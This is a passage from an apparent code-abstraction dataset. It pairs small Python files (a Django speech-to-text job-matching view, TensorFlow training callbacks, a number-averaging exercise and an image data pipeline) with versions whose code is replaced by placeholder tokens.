Chat(user=request.user, message=msg)\n if msg != '':\n j = Jobs.objects.all()\n msg = msg.lower()\n m = msg.split()\n for jo in j:\n skill = jo.skill.lower()\n s = skill.split(',')\n ms = set(m)\n sk = set(s)\n if ms & sk:\n q = Qualified(user=request.user, message=jo.user)\n q.save()\n chat_message.save()\n return redirect('/')\n\n\ndef messages(request):\n user = request.user\n chat = Qualified.objects.filter(user=user)\n return render(request, 'messages.html', {'chat': chat, 'user': user})\n", "<import token>\n\n\ndef home(request):\n chats = Chat.objects.all()\n all_users = User.objects.filter(messages__isnull=False).distinct()\n ctx = {'home': 'active', 'chat': chats, 'allusers': all_users}\n if request.user.is_authenticated:\n return render(request, 'chat.html', ctx)\n else:\n return render(request, 'base.html', None)\n\n\ndef upload(request):\n customHeader = request.META['HTTP_MYCUSTOMHEADER']\n filename = str(Chat.objects.count())\n filename = filename + 'name' + '.wav'\n uploadedFile = open(filename, 'wb')\n uploadedFile.write(request.body)\n uploadedFile.close()\n r = sr.Recognizer()\n harvard = sr.AudioFile(filename)\n with harvard as source:\n audio = r.record(source)\n msg = r.recognize_google(audio)\n os.remove(filename)\n chat_message = Chat(user=request.user, message=msg)\n if msg != '':\n j = Jobs.objects.all()\n msg = msg.lower()\n m = msg.split()\n for jo in j:\n skill = jo.skill.lower()\n s = skill.split(',')\n ms = set(m)\n sk = set(s)\n if ms & sk:\n q = Qualified(user=request.user, message=jo.user)\n q.save()\n chat_message.save()\n return redirect('/')\n\n\ndef messages(request):\n user = request.user\n chat = Qualified.objects.filter(user=user)\n return render(request, 'messages.html', {'chat': chat, 'user': user})\n", "<import token>\n\n\ndef home(request):\n chats = Chat.objects.all()\n all_users = User.objects.filter(messages__isnull=False).distinct()\n ctx = {'home': 'active', 'chat': chats, 'allusers': all_users}\n if request.user.is_authenticated:\n return render(request, 'chat.html', ctx)\n else:\n return render(request, 'base.html', None)\n\n\ndef upload(request):\n customHeader = request.META['HTTP_MYCUSTOMHEADER']\n filename = str(Chat.objects.count())\n filename = filename + 'name' + '.wav'\n uploadedFile = open(filename, 'wb')\n uploadedFile.write(request.body)\n uploadedFile.close()\n r = sr.Recognizer()\n harvard = sr.AudioFile(filename)\n with harvard as source:\n audio = r.record(source)\n msg = r.recognize_google(audio)\n os.remove(filename)\n chat_message = Chat(user=request.user, message=msg)\n if msg != '':\n j = Jobs.objects.all()\n msg = msg.lower()\n m = msg.split()\n for jo in j:\n skill = jo.skill.lower()\n s = skill.split(',')\n ms = set(m)\n sk = set(s)\n if ms & sk:\n q = Qualified(user=request.user, message=jo.user)\n q.save()\n chat_message.save()\n return redirect('/')\n\n\n<function token>\n", "<import token>\n<function token>\n\n\ndef upload(request):\n customHeader = request.META['HTTP_MYCUSTOMHEADER']\n filename = str(Chat.objects.count())\n filename = filename + 'name' + '.wav'\n uploadedFile = open(filename, 'wb')\n uploadedFile.write(request.body)\n uploadedFile.close()\n r = sr.Recognizer()\n harvard = sr.AudioFile(filename)\n with harvard as source:\n audio = r.record(source)\n msg = r.recognize_google(audio)\n os.remove(filename)\n chat_message = Chat(user=request.user, message=msg)\n if msg != '':\n j = Jobs.objects.all()\n msg = msg.lower()\n m = msg.split()\n for jo in j:\n skill = jo.skill.lower()\n s = skill.split(',')\n ms = set(m)\n sk = set(s)\n if ms & sk:\n q = Qualified(user=request.user, message=jo.user)\n q.save()\n chat_message.save()\n return redirect('/')\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n" ]

[ "# !/usr/bin/env python3.6\n# -*- coding: utf-8 -*-\n\nimport os\nfrom datetime import datetime\nimport tensorflow as tf\n\ncwd = os.getcwd()\n\nexps_dir = os.path.join(cwd, 'classification_experiments')\nif not os.path.exists(exps_dir):\n\tos.makedirs(exps_dir)\n\nnow = datetime.now().strftime('%b%d_%H-%M-%S')\n\nmodel_name = 'CNN'\n\nexp_dir = os.path.join(exps_dir, model_name + '_' + str(now))\nif not os.path.exists(exp_dir):\n\tos.makedirs(exp_dir)\n\ncallbacks = []\n\n# Model checkpoint\n# ----------------\nckpt_dir = os.path.join(exp_dir, 'ckpts')\nif not os.path.exists(ckpt_dir):\n\tos.makedirs(ckpt_dir)\n\nckpt_callback = tf.keras.callbacks.ModelCheckpoint(filepath=os.path.join(ckpt_dir, 'cp_{epoch:02d}.ckpt'),\n\t\t\t\t\t\t\t\t\t\t\t\t save_weights_only=True) # False to save the model directly\ncallbacks.append(ckpt_callback)\n\n# Visualize Learning on Tensorboard\n# ---------------------------------\ntb_dir = os.path.join(exp_dir, 'tb_logs')\nif not os.path.exists(tb_dir):\n\tos.makedirs(tb_dir)\n\n# By default shows losses and metrics for both training and validation\ntb_callback = tf.keras.callbacks.TensorBoard(log_dir=tb_dir,\n\t\t\t\t\t\t\t\t\t\t\t profile_batch=0,\n\t\t\t\t\t\t\t\t\t\t\t histogram_freq=1) # if 1 shows weights histograms\ncallbacks.append(tb_callback)\n\n# Early Stopping\n# --------------\nearly_stop = False\nif early_stop:\n\tes_callback = tf.keras.callback.EarlyStopping(monitor='val_loss', patience=10)\n\tcallbacks.append(es_callback)\n\n# How to visualize Tensorboard\n\n# 1. tensorboard --logdir EXPERIMENTS_DIR --port PORT <- from terminal\n# 2. localhost:PORT <- in your browser", "import os\nfrom datetime import datetime\nimport tensorflow as tf\ncwd = os.getcwd()\nexps_dir = os.path.join(cwd, 'classification_experiments')\nif not os.path.exists(exps_dir):\n os.makedirs(exps_dir)\nnow = datetime.now().strftime('%b%d_%H-%M-%S')\nmodel_name = 'CNN'\nexp_dir = os.path.join(exps_dir, model_name + '_' + str(now))\nif not os.path.exists(exp_dir):\n os.makedirs(exp_dir)\ncallbacks = []\nckpt_dir = os.path.join(exp_dir, 'ckpts')\nif not os.path.exists(ckpt_dir):\n os.makedirs(ckpt_dir)\nckpt_callback = tf.keras.callbacks.ModelCheckpoint(filepath=os.path.join(\n ckpt_dir, 'cp_{epoch:02d}.ckpt'), save_weights_only=True)\ncallbacks.append(ckpt_callback)\ntb_dir = os.path.join(exp_dir, 'tb_logs')\nif not os.path.exists(tb_dir):\n os.makedirs(tb_dir)\ntb_callback = tf.keras.callbacks.TensorBoard(log_dir=tb_dir, profile_batch=\n 0, histogram_freq=1)\ncallbacks.append(tb_callback)\nearly_stop = False\nif early_stop:\n es_callback = tf.keras.callback.EarlyStopping(monitor='val_loss',\n patience=10)\n callbacks.append(es_callback)\n", "<import token>\ncwd = os.getcwd()\nexps_dir = os.path.join(cwd, 'classification_experiments')\nif not os.path.exists(exps_dir):\n os.makedirs(exps_dir)\nnow = datetime.now().strftime('%b%d_%H-%M-%S')\nmodel_name = 'CNN'\nexp_dir = os.path.join(exps_dir, model_name + '_' + str(now))\nif not os.path.exists(exp_dir):\n os.makedirs(exp_dir)\ncallbacks = []\nckpt_dir = os.path.join(exp_dir, 'ckpts')\nif not os.path.exists(ckpt_dir):\n os.makedirs(ckpt_dir)\nckpt_callback = tf.keras.callbacks.ModelCheckpoint(filepath=os.path.join(\n ckpt_dir, 'cp_{epoch:02d}.ckpt'), save_weights_only=True)\ncallbacks.append(ckpt_callback)\ntb_dir = os.path.join(exp_dir, 'tb_logs')\nif not os.path.exists(tb_dir):\n os.makedirs(tb_dir)\ntb_callback = tf.keras.callbacks.TensorBoard(log_dir=tb_dir, profile_batch=\n 0, histogram_freq=1)\ncallbacks.append(tb_callback)\nearly_stop = False\nif early_stop:\n es_callback = tf.keras.callback.EarlyStopping(monitor='val_loss',\n patience=10)\n callbacks.append(es_callback)\n", "<import token>\n<assignment token>\nif not os.path.exists(exps_dir):\n os.makedirs(exps_dir)\n<assignment token>\nif not os.path.exists(exp_dir):\n os.makedirs(exp_dir)\n<assignment token>\nif not os.path.exists(ckpt_dir):\n os.makedirs(ckpt_dir)\n<assignment token>\ncallbacks.append(ckpt_callback)\n<assignment token>\nif not os.path.exists(tb_dir):\n os.makedirs(tb_dir)\n<assignment token>\ncallbacks.append(tb_callback)\n<assignment token>\nif early_stop:\n es_callback = tf.keras.callback.EarlyStopping(monitor='val_loss',\n patience=10)\n callbacks.append(es_callback)\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "# Mini-desafio\n# Diseñar un programa en el cual el usuario ingrese tres números, uno a la vez, y se # muestre a la salida el promedio de los tres números.\n\nnum1 = int(input(\"Ingrese el primer numero:\"))\nnum2 = int(input(\"Ingrese el segundo numero:\"))\nnum3 = int(input(\"Ingrese el tercer numero:\"))\n\nsuma = num1 + num2 + num3\npromedio = suma/3\nprint(promedio)\n", "num1 = int(input('Ingrese el primer numero:'))\nnum2 = int(input('Ingrese el segundo numero:'))\nnum3 = int(input('Ingrese el tercer numero:'))\nsuma = num1 + num2 + num3\npromedio = suma / 3\nprint(promedio)\n", "<assignment token>\nprint(promedio)\n", "<assignment token>\n<code token>\n" ]

[ "import tensorflow as tf\nimport functools\nimport os\nimport glob\nimport numpy as np\nfrom PIL import Image\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n\n # shifting from [0, 1) to [-1, 1) is equivalent to assuming 0.5 mean\n mean = 0.5\n proimages = (images - mean) / mean\n\n return proimages\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], \"_\").values[:-1], num=3)\n strip_filename = tf.string_join(filename_split, \"_\")\n\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = tf.string_join([la_dir, strip_filename, la_ext])\n\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n\n # Check if the image is in greyscale and convert to RGB if so\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond,\n lambda: tf.image.grayscale_to_rgb(im_dec),\n lambda: tf.identity(im_dec))\n\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n\n return im_dec, la_dec\n\ndef _parse_and_decode_inference(filename, dataset_directory):\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n im_ext = tf.cast('.png', tf.string)\n\n im_filename = tf.string_join([im_dir, filename, im_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n im_dec_raw = im_dec\n\n # Check if the image is in greyscale and convert to RGB if so\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond,\n lambda: tf.image.grayscale_to_rgb(im_dec),\n lambda: tf.identity(im_dec))\n\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n\n return im_dec, im_filename, im_dec_raw\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n\n return image, label\n\ndef _resize_images(image, label, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n la_res = tf.image.resize_images(label, [height, width],\n method=tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n la_res = tf.squeeze(la_res, axis=2)\n\n im_res.set_shape([height, width, 3])\n la_res.set_shape([height, width])\n\n return im_res, la_res\n\ndef _resize_images_inference(image, im_filename, im_raw, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n im_res.set_shape([height, width, 3])\n\n return im_res, im_filename, im_raw\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n\n dataset = dataset.map(\n functools.partial(_parse_and_decode, dataset_directory=dataset_directory),\n num_parallel_calls=30)\n\n dataset = dataset.map(\n functools.partial(_resize_images, height=params.height_input, width=params.width_input))\n\n dataset = dataset.map(\n functools.partial(_preprocess_images, params=params))\n\n # IMPORTANT: if Nb > 1, then shape of dataset elements must be the same\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n\n return dataset\n\ndef evaluate_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n\n dataset = dataset.map(\n functools.partial(_parse_and_decode, dataset_directory=dataset_directory),\n num_parallel_calls=30)\n\n dataset = dataset.map(\n functools.partial(_resize_images, height=params.height_input, width=params.width_input))\n\n # IMPORTANT: if Nb > 1, then shape of dataset elements must be the same\n dataset = dataset.batch(1)\n\n return dataset\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n\n dataset = dataset.map(\n functools.partial(_parse_and_decode_inference, dataset_directory=dataset_directory),\n num_parallel_calls=30)\n\n dataset = dataset.map(\n functools.partial(_resize_images_inference, height=params.height_input, width=params.width_input))\n\n # IMPORTANT: if Nb > 1, then shape of dataset elements must be the same\n dataset = dataset.batch(1)\n\n return dataset", "import tensorflow as tf\nimport functools\nimport os\nimport glob\nimport numpy as np\nfrom PIL import Image\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], '_').values[:-1\n ], num=3)\n strip_filename = tf.string_join(filename_split, '_')\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.\n string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = tf.string_join([la_dir, strip_filename, la_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n return im_dec, la_dec\n\n\ndef _parse_and_decode_inference(filename, dataset_directory):\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n im_ext = tf.cast('.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n im_dec_raw = im_dec\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n return im_dec, im_filename, im_dec_raw\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\ndef _resize_images(image, label, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n la_res = tf.image.resize_images(label, [height, width], method=tf.image\n .ResizeMethod.NEAREST_NEIGHBOR)\n la_res = tf.squeeze(la_res, axis=2)\n im_res.set_shape([height, width, 3])\n la_res.set_shape([height, width])\n return im_res, la_res\n\n\ndef _resize_images_inference(image, im_filename, im_raw, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n im_res.set_shape([height, width, 3])\n return im_res, im_filename, im_raw\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\ndef evaluate_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], '_').values[:-1\n ], num=3)\n strip_filename = tf.string_join(filename_split, '_')\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.\n string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = tf.string_join([la_dir, strip_filename, la_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n return im_dec, la_dec\n\n\ndef _parse_and_decode_inference(filename, dataset_directory):\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n im_ext = tf.cast('.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n im_dec_raw = im_dec\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n return im_dec, im_filename, im_dec_raw\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\ndef _resize_images(image, label, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n la_res = tf.image.resize_images(label, [height, width], method=tf.image\n .ResizeMethod.NEAREST_NEIGHBOR)\n la_res = tf.squeeze(la_res, axis=2)\n im_res.set_shape([height, width, 3])\n la_res.set_shape([height, width])\n return im_res, la_res\n\n\ndef _resize_images_inference(image, im_filename, im_raw, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n im_res.set_shape([height, width, 3])\n return im_res, im_filename, im_raw\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\ndef evaluate_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], '_').values[:-1\n ], num=3)\n strip_filename = tf.string_join(filename_split, '_')\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.\n string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = tf.string_join([la_dir, strip_filename, la_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n la_dec = tf.image.decode_png(tf.read_file(la_filename))\n return im_dec, la_dec\n\n\ndef _parse_and_decode_inference(filename, dataset_directory):\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n im_ext = tf.cast('.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n im_dec = tf.image.decode_jpeg(tf.read_file(im_filename))\n im_dec_raw = im_dec\n greyscale_cond = tf.equal(tf.shape(im_dec)[-1], 1)\n im_dec = tf.cond(greyscale_cond, lambda : tf.image.grayscale_to_rgb(\n im_dec), lambda : tf.identity(im_dec))\n im_dec = tf.image.convert_image_dtype(im_dec, dtype=tf.float32)\n im_dec = from_0_1_to_m1_1(im_dec)\n return im_dec, im_filename, im_dec_raw\n\n\ndef _preprocess_images(image, label, params):\n if params.random_flip:\n label = tf.cast(tf.expand_dims(label, -1), tf.float32)\n im_la = tf.concat([image, label], axis=-1)\n im_la = tf.image.random_flip_left_right(im_la)\n image = im_la[..., 0:3]\n label = im_la[..., 3]\n label = tf.cast(label, tf.uint8)\n label = tf.squeeze(label)\n image.set_shape([params.height_input, params.width_input, 3])\n label.set_shape([params.height_input, params.width_input])\n return image, label\n\n\ndef _resize_images(image, label, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n la_res = tf.image.resize_images(label, [height, width], method=tf.image\n .ResizeMethod.NEAREST_NEIGHBOR)\n la_res = tf.squeeze(la_res, axis=2)\n im_res.set_shape([height, width, 3])\n la_res.set_shape([height, width])\n return im_res, la_res\n\n\ndef _resize_images_inference(image, im_filename, im_raw, height, width):\n \"\"\"\n\n Args:\n image:\n label:\n height:\n width:\n\n Returns:\n\n \"\"\"\n im_res = tf.image.resize_images(image, [height, width])\n im_res.set_shape([height, width, 3])\n return im_res, im_filename, im_raw\n\n\ndef train_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images, height=params.\n height_input, width=params.width_input))\n dataset = dataset.map(functools.partial(_preprocess_images, params=params))\n dataset = dataset.batch(params.Nb)\n dataset = dataset.shuffle(100)\n dataset = dataset.repeat(None)\n return dataset\n\n\n<function token>\n\n\ndef inference_input(params):\n \"\"\"\n\n Args:\n params:\n\n Returns:\n\n \"\"\"\n dataset_directory = params.dataset_directory\n filelist_filepath = params.filelist_filepath\n filenames_string = tf.cast(filelist_filepath, tf.string)\n dataset = tf.data.TextLineDataset(filenames=filenames_string)\n dataset = dataset.map(functools.partial(_parse_and_decode_inference,\n dataset_directory=dataset_directory), num_parallel_calls=30)\n dataset = dataset.map(functools.partial(_resize_images_inference,\n height=params.height_input, width=params.width_input))\n dataset = dataset.batch(1)\n return dataset\n", "<import token>\n\n\ndef from_0_1_to_m1_1(images):\n \"\"\"\n Center images from [0, 1) to [-1, 1).\n\n Arguments:\n images: tf.float32, in [0, 1), of any dimensions\n\n Return:\n images linearly scaled to [-1, 1)\n \"\"\"\n mean = 0.5\n proimages = (images - mean) / mean\n return proimages\n\n\ndef _parse_and_decode(filename, dataset_directory):\n \"\"\"\n\n Args:\n filename:\n dataset_directory:\n\n Returns:\n\n \"\"\"\n filename_split = tf.unstack(tf.string_split([filename], '_').values[:-1\n ], num=3)\n strip_filename = tf.string_join(filename_split, '_')\n im_dir = tf.cast(os.path.join(dataset_directory, 'images/'), tf.string)\n la_dir = tf.cast(os.path.join(dataset_directory, 'panoptic_proc/'), tf.\n string)\n im_ext = tf.cast('.png', tf.string)\n la_ext = tf.cast('_gtFine_instanceIds.png', tf.string)\n im_filename = tf.string_join([im_dir, filename, im_ext])\n la_filename = 